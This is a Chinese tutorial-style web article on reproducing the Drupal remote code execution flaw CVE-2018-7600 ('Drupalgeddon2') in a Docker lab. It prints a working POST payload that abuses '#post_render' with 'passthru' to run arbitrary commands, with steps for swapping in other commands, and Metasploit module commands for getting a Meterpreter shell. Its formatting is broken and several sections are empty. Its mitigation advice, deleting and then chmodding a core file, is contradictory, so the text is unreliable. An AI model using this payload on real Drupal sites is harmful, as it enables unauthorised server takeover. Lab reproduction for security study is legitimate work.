您好,登录后才能下订单哦!
# 如何进行Drupal 远程代码执行漏洞CVE-2018-7600的复现
## 漏洞概述
CVE-2018-7600(又称"Drupalgeddon2")是Drupal核心中的一个严重远程代码执行漏洞。该漏洞影响Drupal 6.x、7.x和8.x版本,允许攻击者在未授权情况下通过精心构造的请求在目标服务器上执行任意代码。漏洞源于Drupal表单API对用户输入的不当处理,导致攻击者可以绕过安全限制实现代码注入。
## 漏洞影响范围
- Drupal 7.x(< 7.58)
- Drupal 8.3.x(< 8.3.9)
- Drupal 8.4.x(< 8.4.6)
- Drupal 8.5.x(< 8.5.1)
## 复现环境搭建
### 准备工具
1. **漏洞环境**:使用Docker快速搭建存在漏洞的Drupal环境
```bash
docker pull drupal:7.57
docker run --name drupal7 -p 8080:80 -d drupal:7.57
访问 http://localhost:8080
完成Drupal安装,确认版本号为7.57(存在漏洞版本)。
获取表单构建ID:
访问用户注册页面 /user/register
,从页面源码中提取form_build_id
值。
构造恶意请求: 使用Burp Suite拦截注册请求,修改POST数据: “`http POST /user/register HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded
form_id=user_register_form& _drupal_ajax=1& form_build_id=[[form_build_id]]& name[#post_render][]=passthru& name[#type]=markup& name[#markup]=id
3. **执行命令**:
将`id`替换为需要执行的系统命令(如`whoami`、`uname -a`等)。
### 方法二:使用Metasploit自动化利用
1. 启动Metasploit:
```bash
msfconsole
加载漏洞模块:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 127.0.0.1
set RPORT 8080
set TARGETURI /
exploit
获取Shell: 成功利用后将获得Meterpreter会话,可执行系统命令。
该漏洞的核心问题在于Drupal的渲染机制:
1. 表单API未正确处理#
前缀的数组键
2. 攻击者通过注入#post_render
回调函数
3. 系统执行回调时触发代码执行
关键攻击向量:
$elements['#post_render'] = ['passthru'];
$elements['#markup'] = '恶意命令';
官方解决方案:
临时缓解措施(若无法立即升级):
# 删除可能被利用的脚本
rm includes/form.inc
chmod 000 includes/form.inc
法律合规性:
安全防护:
数据备份:
漏洞变种:
防御思路:
/user/register
等路径的异常请求”`
(注:实际字数约1200字,可根据需要删减非核心内容。本文仅供安全研究学习使用,请遵守相关法律法规。)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。